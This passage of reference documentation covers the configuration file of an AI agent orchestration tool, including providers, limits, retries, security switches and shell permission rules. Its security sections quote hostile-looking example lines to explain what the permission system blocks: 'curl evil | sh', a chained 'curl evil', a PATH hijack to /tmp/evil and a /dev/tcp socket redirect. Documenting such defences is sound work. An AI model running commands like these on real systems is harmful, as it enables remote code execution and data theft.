Configuration (config.toml)
Machine-wide settings live in ~/.leviath/config.toml. lev setup writes it for you,
and everything below is optional: an install with one provider key works with no other key set.
This page is the exhaustive list. The concept pages explain why each knob exists; this one is where you look up the exact name, type, and default. The same contract ships machine-readable as a JSON schema with a commented example file.
Note
The daemon watches this file and reloads it when it changes, so an edit takes effect on the
next lev run with no restart. That includes providers, [[mcp_servers]] and
[observability]: a key you add, replace or remove, a changed default_provider, a
[model_providers] entry, an MCP server, or a collector to export to are all picked up by the
next run started, whether it came from lev run, the API or the dashboard, and it makes no
difference whether the edit came from lev setup, PUT /api/config or an editor. A run already
under way keeps the provider and the servers its current stage started on. lev serve reads the
file per request, so an edit is on the next page load. The short list of settings still read once
at start-up is in
the daemon docs.
Top level
default_provider = "anthropic" # provider used when a blueprint names none
override_model = "claude-sonnet-4-5" # every stage starts on this; unset lets each blueprint decide
fallback_model = "claude-haiku-4-5" # only for a stage none of whose own models is configured
agent_paths = ["~/projects/my-agents"] # extra directories scanned for blueprints
openrouter_api_key = "sk-or-..." # env fallback: OPENROUTER_API_KEY
ollama_base_url = "http://localhost:11434" # env fallback: OLLAMA_HOST
request_timeout_secs = 900 # per-request HTTP timeout to a provider
taint_tracking = false # global master switch, see below
batch_tool_hint = true # global master switch, see below
shell_hint = true # global master switch, see below
update_check = true # ask whether a newer release exists
load_dotenv = false # read ./.env from the directory lev runs in| Key | Type | Default | Notes |
|---|---|---|---|
default_provider |
string | "anthropic" |
|
override_model |
string | unset | One model every stage that allows a user default starts on, ahead of the models its blueprint names |
fallback_model |
string | unset | The model a stage falls back to when none of the models it names is configured here |
agent_paths |
array of paths | [] |
Searched in addition to ~/.leviath/agents |
openrouter_api_key |
string | unset | Falls back to OPENROUTER_API_KEY |
ollama_base_url |
string | unset | Falls back to OLLAMA_HOST, then http://localhost:11434 |
request_timeout_secs |
integer | unset | Unset means the 15 minute ceiling. A stage's [stages.<name>.model] request_timeout_secs wins for that stage |
taint_tracking |
bool | false |
Turns on taint tracking for every agent. With it off, an agent can still opt in itself |
batch_tool_hint |
bool | true |
Adds a short hint telling the model it may batch independent tool calls |
shell_hint |
bool | true |
Adds a short hint describing the shell a stage will get. Only says anything on Windows today |
update_check |
bool | true |
Lets this copy ask whether a newer release exists on its own channel, at most once an hour |
load_dotenv |
bool | false |
Reads a .env file from the directory lev runs in |
All three of those cascade: a stage setting beats an agent setting, which beats this file.
override_model and fallback_model both take a bare model id on default_provider, not
provider/model. A leading <default_provider>/ is dropped and named at load, so
"ollama/qwen3.8:latest" under default_provider = "ollama" still works.
Leaving override_model unset is usually the better state. Over the API, PUT /api/config with
"override_model": null writes it away. It was called default_model before 0.6. See
which entry a stage starts on.
fallback_model is tried after every model a stage names, and before [providers] fallback_order.
It never moves a stage off a model its blueprint names. A default_model from before 0.6 loads as
this, with a notice, and lev update rewrites the key.
Setting ollama_base_url also counts as choosing Ollama, so an install that configured it before
[providers] ollama_enabled existed keeps working.
Set update_check to false on an air-gapped machine, or anywhere an outbound request nobody
asked for is the problem. Off, lev update still says how to update and
GET /api/update still answers. Both report null for whether
anything newer exists.
load_dotenv is off unless you turn it on, because the directory lev runs in is often a
repository someone else wrote. See environment variables.
System-prompt hints
batch_tool_hint and shell_hint are the two hints Leviath writes into a stage's system prompt on
its own. Both are on by default, both cascade stage over agent over this file, and both sit at the
front of the cacheable prefix so they cost nothing after the first call:
# config.toml: off for this machine
shell_hint = false# a blueprint: back on for this one agent, off for one stage of it
[agent]
shell_hint = true
[stages.plan]
shell_hint = falseshell_hint only reaches a stage that advertises the shell tool, and only on a platform whose
shell needs explaining. On Linux and macOS it is inert whatever you set it to. See
Built-in tools for what it says on Windows.
[providers]
Provider credentials. Every key falls back to the matching environment variable, so you can leave the file empty in CI.
[providers]
anthropic_api_key = "sk-ant-..." # env fallback: ANTHROPIC_API_KEY
openai_api_key = "sk-..." # env fallback: OPENAI_API_KEY
google_api_key = "..." # env fallback: GOOGLE_API_KEY
xai_api_key = "xai-..." # env fallback: XAI_API_KEY
meta_api_key = "..." # env fallback: META_AI_API_KEY
bedrock_api_key = "ABSK..." # env fallback: AWS_BEARER_TOKEN_BEDROCK (a Bedrock API key)
bedrock_region = "us-east-1" # env fallback: AWS_REGION, then AWS_DEFAULT_REGION
anthropic_base_url = "https://gw.corp/v1" # env fallback: ANTHROPIC_BASE_URL
openai_base_url = "https://gw.corp/v1" # env fallback: OPENAI_BASE_URL
google_base_url = "https://gw.corp/v1beta" # env fallback: GOOGLE_BASE_URL (the native API root)
xai_base_url = "https://gw.corp/v1" # env fallback: XAI_BASE_URL
meta_base_url = "https://gw.corp/v1" # env fallback: META_AI_BASE_URL
openrouter_base_url = "https://gw.corp/v1" # env fallback: OPENROUTER_BASE_URL
bedrock_base_url = "https://gw.corp/bedrock" # env fallback: BEDROCK_BASE_URL
anthropic_headers = { X-Gateway-Token = "..." } # extra headers for that gateway (see below)
ollama_enabled = false # offer Ollama; setting ollama_base_url also counts
codex_enabled = false # bill inference to a ChatGPT subscription
codex_reasoning_effort = "medium" # low | medium | high | xhigh (see below)
codex_verbosity = "medium" # low | medium | high
codex_replay_reasoning = true # replay each turn's reasoning on the next request
grok_enabled = false # bill Grok to a SuperGrok or X Premium+ subscription
anthropic_cache_ttl = "5m" # 5m (default) | 1h
fallback_order = ["anthropic/claude-sonnet-5", "openai/gpt-5.6-mini"]
provider_order = ["codex", "openrouter", "openai"] # a bare name's route preference
zero_retention = false # ask every provider for zero data retention (see below)
zero_retention_agreements = [] # providers you hold a zero data retention contract with
file_uploads = true # upload large parts to provider file storage (see below)file_uploads lets a provider with a Files API (Anthropic, OpenAI, Google, xAI, Grok and Meta)
take a large image, PDF, video or recording once and have later requests name it by id. Set it
to false to send every part inline instead. Zero data retention turns uploads off whatever this
says. See Files and size limits.
zero_retention asks every provider for zero data retention and refuses, at spawn, a stage whose
model cannot give it. What each provider keeps, how the request reaches it, and which models
retain regardless is the subject of data retention.
lev providers retention prints it for this install, and lev providers retention set zero
writes the switch. zero_retention_agreements names the providers (openai, anthropic,
google, xai) your organisation holds a zero data retention contract with. No API can read such
a contract, so it is declared here, and a declared provider counts as keeping nothing.
ollama_enabled turns Ollama on. It is opt-in like every other provider. It needs no key and
answers on a well-known local port, which used to be reason enough to register it on every
machine. That made a bare model name in a blueprint resolvable against whatever happened to
be running locally. Setting ollama_base_url counts as choosing it too.
codex_reasoning_effort takes none, minimal, low, medium, high or xhigh, but the
route decides per model which of those it accepts, and rejects the rest outright. gpt-5.5
answers 400 to minimal and lists its own set as none, low, medium, high, xhigh; a model that
must reason rejects none. low and above are accepted everywhere seen so far. Leviath cannot
check this at save time, because the answer differs per model and is only known by asking. A value
one of your models refuses shows up as a failed call rather than a rejected config.
anthropic_cache_ttl is how long a cached prompt prefix survives. The default 5m is free; 1h
costs more to write and sends the beta header it needs. It is worth the write cost for a staged
agent. Stages routinely take longer than five minutes, especially when one is running scripts. A
prefix cached at the start of a run is then cold by the time a later stage could have reused it.
Reaching a provider through a gateway
<provider>_base_url points one provider at a different host: an enterprise gateway, or a
self-hosted proxy that speaks the same API on another origin. Unset means the vendor's own
endpoint, which is what a config that says nothing has always meant.
One setting per provider rather than one for all of them, because a gateway usually fronts one
family. Setting anthropic_base_url alone sends Anthropic traffic through the gateway and leaves
OpenAI going straight out, which is the arrangement most of these deployments actually have.
Each falls back to an environment variable, so a machine behind a gateway needs no config file at all. The gateway is a property of the host rather than of the checkout.
A gateway serving model IDs the vendor never published (internal-model-1, say) also needs those
IDs described, or nothing knows their context window. That is
[model_capabilities.<model_id>] below, which works the same way for a gateway as for anything
else.
A gateway that wants something of its own on each request, a token in a second header or a
tenant or cost-centre tag, gets it from <provider>_headers. That is a table of header names to
values, sent as written after the provider's own headers on every request the provider makes to
that host. anthropic_headers, openai_headers, google_headers, openrouter_headers,
meshy_headers and bedrock_headers exist. Two hosts are left out on purpose: Meshy's asset
downloads go to signed URLs on another host, and Bedrock's control-plane, price-file and
token-count routes go to AWS itself, so neither is sent them. A value here is as often a credential
as not, so it is kept out of logs the way the keys are.
[providers]
anthropic_base_url = "https://llm-gateway.corp.example/anthropic"
anthropic_api_key = "gateway-placeholder" # the gateway holds the real key
anthropic_headers = { X-Gateway-Token = "...", X-Cost-Centre = "research" }HTTP_PROXY and HTTPS_PROXY are honoured independently of this, so a gateway that is itself
behind a proxy needs nothing extra here.
bedrock_base_url replaces the Bedrock runtime origin only. With it set, the live model listing,
the price file and the token-count routes are not read, and lev models list shows this build's
table for Bedrock; see AWS Bedrock.
fallback_order is where a run goes when the provider it is using stops being usable: out of
credits, or a rejected key. Entries are provider/model pairs, best first, tried after the stage's
own model list and your default model. One naming a provider you have not configured is skipped.
It is read per run, so a change takes effect on the next lev run with no restart. See
Providers.
Provider preference order
provider_order decides which providers may serve a bare model name, one a blueprint lists
with no provider. It also sets the order when more than one of them serves it. Entries are plain
provider names, best first. It generalizes default_provider from a single front-runner into a
full ordering; leave it empty and default_provider alone serves bare names.
The list is the whole answer: a configured provider that is not in it never serves a bare name,
however many models it carries. It is still reachable by an explicit provider/model in a
blueprint or a fallback_order entry, and a stage that pins it while it is not configured is
refused at spawn rather than quietly moved elsewhere. So configuring a key never silently moves a
bare-named stage, and what it bills, onto a provider nobody listed; that holds for a ChatGPT
(Codex) subscription as much as for an API key. Put codex first and a stage that names
gpt-5.6-sol with no provider runs on your plan, ahead of an OpenAI key that also serves the
name. Leave it out and only a codex/... pin reaches it. lev setup's priority modal is where
a provider is taken in or out of the list.
It shapes routes, not models: a blueprint that chose a different model per stage keeps each stage's
model, the same way default_provider does. lev doctor flags an entry naming a provider that is
not configured. Like the rest of [providers], it is read per run, so a change takes effect on the
next lev run with no restart.
[limits]
[limits]
max_concurrent_inferences = 8 # in-flight requests per model without its own pool entry
max_concurrent_tools = 8 # agents whose tool batches may run at once, daemon-wide
default_max_iterations = 50 # fallback cap for a stage that sets none
stream_inference = true # ask a model that can stream to stream
script_shell_timeout_secs = 60
mcp_idle_disconnect_secs = 60 # disconnect an MCP server no agent has used for this long
stall_timeout_secs = 60 # fail a run that can never dispatch
dead_cycles_before_relief = 10 # widen the tool lane after this long going nowhere
finished_retention_secs = 300 # keep a finished run in `lev ps` this long
wedge_timeout_secs = 0 # fail a run nothing can reach any more; 0 is off
provider_failures_before_open = 3 # pull a provider after this many failures in a row
provider_circuit_cooldown_secs = 300 # how long before it is tried again
# interaction_timeout_secs = 3600 # unset: a prompt waits for you until answered
inference_retry_attempts = 4 # tries per inference, the first one included
inference_retry_base_ms = 1000 # first retry wait for an ordinary blip; it doubles
max_tool_call_write_bytes = 2147483648 # 2 GiB; delete the line for no limit
max_run_write_bytes = 10737418240 # 10 GiB; delete the line for no limit
[limits.max_concurrent_inferences_by_model]
"gpt-oss-120b" = 2 # this model's pool; others use the number above
[limits.max_concurrent_inferences_by_provider]
cerebras = 1 # every model this provider serves, together| Key | Default | Notes |
|---|---|---|
max_concurrent_inferences |
8 |
The inference pool cap, per model |
max_concurrent_tools |
8 |
Size of the shared tool worker pool. Clamped to at least 1 |
default_max_iterations |
50 |
A stage's own max_iterations always wins |
stream_inference |
true |
Ask a model that can stream to stream. See below |
script_shell_timeout_secs |
60 |
Cap on a Rhai script tool's shell() host call |
script_http_timeout_secs |
30 |
Seconds a Rhai script tool's http_get() or http_post() may take |
script_http_max_per_host |
4 |
Script-tool HTTP requests in flight to one host at a time; the rest wait their turn. 0 is unbounded |
mcp_idle_disconnect_secs |
60 |
Disconnect an MCP server no agent has used for this long. It reconnects on next use |
stall_timeout_secs |
60 |
Fail a run that can never dispatch. See below |
dead_cycles_before_relief |
10 |
30-second cycles with a full tool lane and nothing moving before the lane widens. 0 never widens it |
finished_retention_secs |
300 |
How long a finished run stays in lev ps. See below |
wedge_timeout_secs |
0 (off) |
Fail a run nothing can reach any more. See below |
provider_failures_before_open |
3 |
Failures in a row before a provider is pulled. See below |
provider_circuit_cooldown_secs |
300 |
How long a pulled provider waits before one request tests it. See below |
interaction_timeout_secs |
unset | Bound how long a prompt waits for a person. Unset waits until answered. See below |
inference_retry_attempts |
4 |
Tries per inference, the first included. See below |
inference_retry_base_ms |
1000 |
First retry wait for an ordinary blip, doubling each retry. See below |
max_tool_call_write_bytes |
unset | Most one tool call may write. See below |
max_run_write_bytes |
unset | Most a whole run may write. See below |
max_concurrent_inferences_by_model |
empty | Per-model overrides of the cap above. See below |
max_concurrent_inferences_by_provider |
empty | Per-provider caps across every model a provider serves. See below |
notify_spend_usd |
empty | Dollar figures to be told about while a run is still going. See below |
max_agents_per_run |
0 |
Most agents one run may create, sub-agents included. 0 is no ceiling. See below |
The daemon applies this whole section when config.toml changes, so a new number is in force for
the next run with no restart, and most of them reach a run already going. The exception is
mcp_idle_disconnect_secs: the MCP pool is built with it at start-up. See
the daemon for which is which.
Some of these need more than a table cell.
stream_inference asks a model that can stream to stream. It changes nothing an agent sees:
the chunks are folded back into one finished turn before anything reads it, because half a sentence
is not something a run can act on. What it changes is the connection. A buffered call sends nothing
back until the model has finished thinking, so a long turn is a socket that has been silent for
minutes. A NAT, a VPN or a corporate proxy takes a silent socket for a dead one and closes it,
failing a request that was going perfectly well. Set it to false if a provider's stream
misbehaves; a provider that does not offer streaming for the model in hand is called the old way
regardless.
max_agents_per_run is what makes a run's cost predictable:
[limits]
max_agents_per_run = 20A run's price is very nearly its headcount. Measured across four finished research
runs, cost per agent stayed between $5.37 and $9.05 while the count ranged from 10
to 42. The bill followed the headcount, and nothing bounded the headcount.
max_child_depth bounds how deep the sub-agent tree goes, and a fan-out stage's
max_items bounds a single split, but the total was whatever each generation of
workers thought was worth spawning.
A run that reaches the ceiling stops widening. It is not failed and its workers are not cancelled: the ones already running finish, the merge happens on what came back, and the run writes its report on that. Stopping early is a cheaper answer, not a broken one.
Counted per run from its root, so a worker deep in the tree cannot spend the whole budget on its own branch.
Managing your costs puts this beside the other levers, with the measurements each one came from.
notify_spend_usd says which figures are worth interrupting you for:
[limits]
notify_spend_usd = [5, 25, 100]Each is reported once per run, the first time that run's total passes it, over the event stream and
in the dashboard. The event carries the running total and the stage that was running when it
crossed, which is the stage doing the spending; the full per-stage breakdown is in the run's
stages.json.
This is reporting, not a ceiling. It does not stop a run, because stopping one mid-stage throws away
work and that is a different decision from wanting to know what is happening. To bound the spend
rather than watch it, see max_agents_per_run below and
managing your costs.
A run whose models have no published price reports what it could price and marks the figure
incomplete, rather than a confident number that is wrong. Completeness is a different question from
whether the priced part came from the provider's own figures or was reconstructed from rate cards;
the run record's cost_is_exact answers that one. See providers for where
prices come from and when they are a reconstruction rather than the invoice.
max_concurrent_inferences_by_model and max_concurrent_inferences_by_provider are the
two ways to say "not this one". The first replaces the global cap for one model id. The second adds
a separate, coarser pool in front of it, bounding every model one provider serves together. A
request needs a slot in both, and holds both until it finishes:
[limits]
max_concurrent_inferences = 8
[limits.max_concurrent_inferences_by_provider]
cerebras = 1That is one request at a time to cerebras, whatever it is serving, while every other provider
keeps the eight. A provider not named here has no pool of its own; the global number is a per-model
one and is not applied per provider as well. See
inference pools, and note that this bounds concurrency while
[rate_limits.<provider>] bounds rate.
0 is not a way to say "no limit" in any of the three, and not a way to disable a provider either.
A pool of nothing would park every request on it for the life of the daemon, and waiting for a full
pool is ordinary backpressure that is never failed or reported. A 0 is therefore read as 1 and
said so in the log. To lift a limit, delete the key.
stall_timeout_secs only fires for something the runtime cannot resolve on its own. Today that
means a stage whose provider is not configured: the run is ready to work and has nowhere to send the
request. Waiting for a busy model's pool is ordinary backpressure and is never failed, however long
it takes. 0 waits forever.
finished_retention_secs keeps a run visible after it ends, so a script polling on an interval
can see how it ended rather than finding it gone. 0 drops it immediately. The record is held in
memory, so a daemon restart clears it whatever you set.
wedge_timeout_secs fails a run that is sitting in a state no part of the engine can reach,
rather than leaving it reported as running. A slow run never trips it: an agent waiting on the
model, a tool, its sub-agents, or a person is exempt however long it takes. It is off
by default because it fails runs, and that should be your decision. 300 is sensible if something
outside Leviath is tracking your slots. See External work queues.
provider_failures_before_open counts failures only you can fix, such as an exhausted account
or a rejected key, before that provider is taken out of service for every run. Three rather than one,
because a single payment error can be one oversized request. 0 disables it and leaves per-run
failover to cope alone.
After the cooldown, one request tests the provider: a success restores it, and a failure restarts the wait.
A provider that answered the connection and then went quiet gets four times that budget, so the
default pulls it after twelve rather than three. The two failures do not mean the same thing.
Nothing listening on the port is a fact about the provider, and the next request fails identically.
A timeout is usually a fact about one request, such as a large prompt against a busy server. Three
slow calls in a row is an ordinary afternoon on a big run, and pulling a working provider there
takes it away from every other run for the whole cooldown. Twelve rather than never, because a
provider that accepts connections and answers nothing is still one no run should be sent to. The
same knob sets both, so 0 still disables the whole thing.
inference_retry_attempts and inference_retry_base_ms set how hard a failed model call
is retried before the agent is failed and its finished work is thrown away. Only a transient
failure is retried at all: a reset connection, a timeout, a 429, a 5xx. A rejected key or an
over-long request fails on the first answer, because the second would be the same.
There are three schedules, and only the blip one is configurable. An ordinary blip waits
inference_retry_base_ms and doubles, so the default four attempts are 1s, 2s, 4s. A capacity
refusal, a 429 or Anthropic's 529 "overloaded", waits 15s, 30s, then 60s per further attempt
instead. An overload window lasts minutes, and a second of waiting only buys another refusal.
A call that reached the provider and then went quiet, such as a timeout or an answer that
stopped part-way, starts at 5s and doubles. The same four attempts then cover about thirty-five
seconds. That failure usually means the network moved underneath the run, and a wifi handover or a
VPN reconnecting outlasts seven seconds every time. A name that does not resolve or a port that refuses
keeps the fast schedule, since that answer is instant and identical however long you wait. When the
provider sends a Retry-After, that answer wins over all of them, capped at a minute.
Raising inference_retry_attempts is therefore how a run rides out a longer outage: 6 gives a
capacity failure about four minutes of waiting rather than about one and a half. Whatever you set,
the retries of a single request sleep at most five minutes in total, and the request itself is
still bounded by its stage's request_timeout_secs, so a run can never wait indefinitely.
interaction_timeout_secs bounds how long a prompt waits on a person: ask_user_*, tool
approvals, taint gates, and interaction points. Leave it unset and the run waits for you until you
answer, whether that is in ten minutes or on Monday. Nothing else in the daemon fails, reaps, or
marks stuck a run that is waiting on a person, and only cancelling it ends the wait. Set a number
and a prompt nobody answered in that many seconds is resolved so the run can continue. An expiry
denies an approval and tells the model no answer came. It never counts as consent. 0 is read as
unset. See when nobody answers.
max_tool_call_write_bytes and max_run_write_bytes bound how much an agent puts on disk.
Both are unset in code and written by lev setup, which is the unusual part and is deliberate.
How much an agent should be allowed to write depends on what you are doing with it, so Leviath
imposes nothing on a config it did not write. A fresh install gets concrete numbers here, where you
can see them and delete the line to remove the limit.
The incident behind them was a single shell call appending in a loop until the 60-second timeout. That put about 14 GB on disk from one call that looked ordinary, and it repeated until the disk was full.
They work differently because they have to. write_file and edit_file carry their content as an
argument, so an oversized one is refused before a byte lands. A shell redirect does not: those bytes
go from the shell to the file without passing through Leviath, so the target is measured after the
call. That stops the call after the one that overran, not the one that did.
Running out of disk is separate and not configurable. Leviath refuses any write that would leave
under a gigabyte free, whatever these two say and whatever --yolo says, because filling the disk
harms every other process on the machine, not only the run. A filesystem whose free space
cannot be read is treated as unknown and allowed, because a guard that cannot measure has nothing to
say. The two ceilings above still apply to it.
[security]
Machine-wide switches that are not part of the per-tool permission cascade.
[security]
allowed_workdirs = [] # workdir roots lev run accepts without a confirm prompt
allow_seed_commands = true
allow_local_network = false
allow_env_vars = ["MY_PROVIDER_KEY"]
allow_blueprint_read_paths = false
allow_blueprint_safe_commands = false
allow_blueprint_permissions = false
lock_permission_files = true # a run may not write config.toml, yolo.toml, mime_types.toml, or the script dirs
shell_env = "filtered" # filtered | strict | custom | inherit
shell_env_withhold = [] # names withheld under shell_env = "custom"
read_paths = ["~/.leviath/runs", "glob:~/design-docs/**"]
credential_store = "file" # file | keychain| Key | Default | Notes |
|---|---|---|
allowed_workdirs |
[] |
Directories a run's workdir may sit under without being confirmed. See below |
allow_seed_commands |
true |
Whether a blueprint's seed = { command = "..." } regions may run at all. See below |
allow_local_network |
false |
Whether agent fetches may reach loopback, private, and link-local addresses. See below |
allow_env_vars |
[] |
Credential-shaped variable names a Rhai script may read through env_var(). Exact and case-insensitive, no wildcards |
allow_blueprint_read_paths |
false |
Honors every blueprint's [read_paths] as written. Prefer a per-agent grant for anything you did not author |
allow_blueprint_safe_commands |
false |
Honors every blueprint's [safe_commands] as written. Off, an installed agent cannot pre-approve its own shell |
allow_blueprint_permissions |
false |
Honors every blueprint's [tool_permissions], even above the built-in default. See below |
lock_permission_files |
true |
Refuses any tool call that would write the files that decide what agents may do. See below |
shell_env |
"filtered" |
Which of the daemon's environment variables a shell command inherits. See below |
shell_env_withhold |
[] |
The names shell_env = "custom" withholds. Ignored under every other mode |
read_paths |
[] |
Machine-wide read grants, which apply only where a blueprint declares the path too. See below |
credential_store |
"file" |
keychain moves secrets to the OS credential store. Run lev auth migrate after changing it |
Six of those need more than a table cell.
lock_permission_files keeps a run's tools out of config.toml, yolo.toml, mime_types.toml, the taint
gate's policy.toml and rules/, and the providers/ and tools/ script directories. Those are
where permissions are granted and where code every later run executes lives, so an agent that
could write them from inside a run could widen what its next spawn is allowed to do. With the lock
on, write_file, edit_file, and a shell line that names one of them are refused before any
policy is consulted, --yolo or not; a seed at spawn is held to the same rule. A shell line is
refused for reads too, because the shell does not say which a program does; read_file and
list_dir are untouched. This closes the tool surfaces, not every way to the disk: a
sandbox is the boundary for an agent you do not trust.
allowed_workdirs silences the confirm prompt for everything under a listed path. Left empty,
lev run asks only about the alarming cases: a home directory, or a filesystem root.
allow_seed_commands covers commands that run at spawn, before the first approval prompt.
Because there is nobody to ask at that moment, a seed command also has to be covered by
[safe_commands]. --no-seed-commands refuses seed commands for one run.
allow_local_network is off by default. Off, an agent's fetches cannot reach cloud metadata
endpoints, your own lev serve, or anything else on your LAN.
allow_blueprint_permissions off still lets a blueprint pre-approve web_search and
web_fetch. Anything else is clamped to the built-in default. To grant one tool to one agent
instead, name it under [agent_tool_permissions.<agent>].
read_paths opens nothing on its own. A grant applies only to a path the blueprint also
declares, so both halves have to name it.
Grant entries (here and in [agent_read_paths]) take three forms: an exact path, which grants its
subtree; glob: patterns; and regex: patterns, auto-anchored. Both patterns are matched against
the symlink-resolved real path and are written with / on every OS. ~/ expands to your home, and
a relative entry resolves against the run's workdir. Full walkthrough in
Security.
[serve]
What lev serve takes on at once and how long it gives each request. Every key has a default,
so the whole section can be omitted; the lev serve flags of the same name win over it, and 0
switches a limit off. See Limits for what a client sees.
[serve]
max_concurrent_requests = 64 # in flight at once; the next is answered 503
request_timeout_secs = 30 # per request; over it the client gets 408
max_upload_bytes = 33554432 # one request body; bounds a multipart uploadThe websocket routes are outside both limits. Neither is a ceiling on the runs behind the API: a spawn the daemon takes a minute to accept still spawns.
[agent_read_paths.<agent>]
Per-agent read grants, the itemized counterpart of allow_blueprint_read_paths.
[agent_read_paths.cto]
allow = ["~/.leviath/runs", "glob:~/design-docs/**"]An agent's declarations mean nothing until one of these grants lands, so lev validate <agent>
checks each declared entry against this file and prints the block above, filled in, for whatever it
does not find. lev list and lev ps carry the same counts.
Tool permissions
[tool_permissions] sets a machine-wide ceiling. A blueprint's own [tool_permissions] may
tighten it but never loosen it. For a tool you have not listed here there is no ceiling to clamp
against, so a blueprint may raise it no higher than the built-in default. The exceptions are
web_search and web_fetch, which read-only research agents pre-approve. To go further, name the
tool under [agent_tool_permissions.<agent>], or set [security] allow_blueprint_permissions.
[tool_permissions]
shell = "ask" # allow | ask | deny
write_file = "ask"
read_file = "allow"[agent_tool_permissions.<agent>] is the escape hatch. Naming an agent replaces the global value
for it, and that becomes the ceiling its blueprint is clamped against.
[agent_tool_permissions.coder]
shell = "allow"Resolution order, narrowest first: launch flag, stage, agent, this file, built-in default. A launch
flag (--allow, --yolo) can turn ask into allow but can never lift a deny. The built-in
defaults are in Built-in tools.
What a shell command inherits
The daemon holds provider keys, LEVIATH_API_TOKEN, and whatever the person who started it had
exported. Handing all of that to every shell command means one env in tool output leaks the lot.
shell_env decides how much a shell tool call, a Rhai shell(), and a region's command seed
inherit. All three answer to the same setting, so a script with shell is not a way around the
env_var gate.
| Mode | What it withholds |
|---|---|
filtered (default) |
Credential-shaped names, except SSH_AUTH_SOCK, so git push over agent keys still works |
strict |
The same, plus SSH_AUTH_SOCK, AWS_PROFILE, AWS_REGION, KUBECONFIG, NETRC. See below |
custom |
Exactly the names in shell_env_withhold, and nothing inferred |
inherit |
Nothing |
strict breaks git push, aws and kubectl inside a shell tool until you list the names those
commands need. Toolchain variables pass through under every mode: PATH, HOME, CARGO_HOME,
JAVA_HOME, VIRTUAL_ENV, NVM_DIR, GOPATH, DOCKER_HOST, TERM. allow_env_vars hands a
specific name over under every mode too, so one list means one thing whichever surface asks.
[security]
shell_env = "custom"
shell_env_withhold = ["MY_INTERNAL_TOKEN", "LEGACY_CRED"]
allow_env_vars = ["MY_PROVIDER_KEY"]Be clear about what this buys. With cat and grep on the default safe list, a granted shell can
read ~/.leviath/config.toml and find the provider key anyway. This is defence in depth against
accidental leakage: an env in tool output, a printenv in a log, a subprocess that phones home.
It also closes the command-seed case, where nothing was ever approved. It is not a boundary. For
one, use [sandbox].
[safe_commands] and [agent_safe_commands.<agent>]
A permission is per tool name, which for the shell is a choice between a prompt on every ls and no
prompt on curl evil | sh. These entries are argument-scoped, and can only turn an ask into an
allow. They never lift a configured deny.
[safe_commands]
defaults = true # ship the read-only verb list
tools = ["read_files"]
shell = ["cargo test", "rg"]
[agent_safe_commands.coder]
shell = ["./gradlew", "env:GRADLE_OPTS"]
allow_blueprint = true # honour this agent's own [safe_commands]| Key | Default | Notes |
|---|---|---|
defaults |
true |
The shipped read-only verb list. See below |
tools |
[] |
Tools that never prompt whatever their arguments. Built-in names, or MCP names as advertised (server__tool) |
shell |
[] |
A program, optionally with the subcommand that narrows it. Also env:NAME, below |
allow_blueprint |
false |
Per-agent only. Honour that agent's own [safe_commands] block |
An entry on the defaults list has to clear one bar: under any flag, it must not be able to write a
file, run another program, or open a connection. That is why find, sed, awk, sort, xargs,
env and cargo are absent from it. It is also why uniq (it writes its second operand), tree
(-o) and rg (--pre runs a command) were taken off. Add any of them back by name if you want
them unprompted.
A shell entry is a program, optionally with the subcommand that narrows it: write git status,
never git or cargo test --lib.
A shell entry covers the program it names with any arguments, so cat covers cat notes.md. It
does not cover a line that also runs something else: cat notes.md && curl evil still asks, because
curl is in neither the safe list nor any grant. lev approvals safe prints what is in effect and
which file put it there.
Environment assignments
A command line decides more than which program runs. PATH=/tmp/evil ls runs ls from a directory
of the caller's choosing, and export PATH=/tmp/evil; ls does the same a segment earlier, so naming
the program alone would let the safe list approve somebody else's binary. Each variable a line binds
is therefore its own key, spelled env:NAME:
[safe_commands]
shell = ["env:RUST_LOG", "env:CARGO_TERM_COLOR"]RUST_LOG=debug cargo test then needs cargo test and env:RUST_LOG, and granting one variable
grants exactly that one. There is no entry that covers every variable at once, and no program name
widens onto an env: key.
Two constructs are refused rather than keyed, because they install code to run at a point no program
name in the line describes: trap, and defining or aliasing a name with function, alias or
unalias. A line containing one of those prompts every time and cannot be pre-approved. set -euo pipefail is unaffected, since shell options change nothing about which program a name resolves to.
Redirects
echo x > file writes a file, and no tool name in the call says so. A shell call that redirects
output is therefore held to the write_file policy as well as the shell's own. Where write_file
is deny the call is refused, and it is never quieter than a write_file call would have been.
That is what stops a redirect being a spelling of write_file that a deny never sees.
Each target is also its own key, so an approval names what is being written:
Allow cat notes.md, >/tmp/report.txt for this runA write cannot be pre-approved in a config file the way a program can. [safe_commands] shell
rejects any entry beginning with >. A write is approved by a person, per target, or not at all.
Three shapes cost nothing, because they write nothing that outlives the call. The first is the
throwaway devices: /dev/null, /dev/stdout, /dev/stderr, /dev/tty and /dev/fd/*. The second
is a descriptor duplication such as 2>&1. The third is a read redirect, since a program that can
read a file could already read it. So cargo build > /dev/null 2>&1 and cat notes.md 2>/dev/null
are as quiet as they were.
Two shapes cannot be granted at all. A target that only exists after expansion (> $OUT) names a
different file on every run. Bash's > /dev/tcp/host/port is a socket rather than a file, which
makes the redirect a network channel no program name describes. Both prompt every time.
[tool_script_permissions]
Layer 3 of the permission model: what a Rhai script tool may do, independent of whether the tool
is visible or approved. Each key is allow, deny, or inherit.
[tool_script_permissions]
http_get = "inherit"
http_post = "inherit"
shell = "inherit"
read_file = "inherit"
write_file = "inherit"
env_var = "inherit"Every field defaults to inherit. For shell, read_file, and write_file, that defers to the
agent's own permission for the equivalent built-in and permits the call only when it resolves to
allow. For http_get, http_post, and env_var, which have no built-in equivalent, inherit
permits the call; the tool itself is still gated by the other three layers. read_file also
covers read_file_bytes, and http_get covers http_get_bytes. See
Rhai tools.
[sandbox]
The machine-wide default sandbox for tool execution. An agent's or stage's own [sandbox]
overrides it, and the two resolve to the stronger of the pair, so an installed agent can tighten
its sandbox but never turn one off.
[sandbox]
kind = "container" # none | namespace | container
image = "debian:bookworm-slim"
engine = "docker" # docker | podman | nerdctl | finch; auto-detected when unset
network = true
mounts = ["/opt/toolchain:ro"]
keep_warm = false # keep one container warm across the stages of a run
on_unavailable = "error" # error | warnUnset entirely, agents run tools on the host. The boundary covers shell commands only: the
shell tool, seed commands and a Rhai tool's shell(). File tools, and a Rhai tool's HTTP and
file calls, run on the host whatever this says, held to the workdir by path confinement rather than
by the sandbox. Details in Security and sandboxing.
[rate_limits.<provider>]
Client-side limits enforced before every call, for the built-in providers (anthropic, openai,
google, openrouter, bedrock).
[rate_limits.anthropic]
requests_per_minute = 50
tokens_per_minute = 40000Both are enforced before every call. requests_per_minute counts calls made in
the last minute; tokens_per_minute counts the tokens those calls reported
back, streamed or not, so it lags the request window by one call and errs on
the provider's side. When either window is full the call waits for the oldest
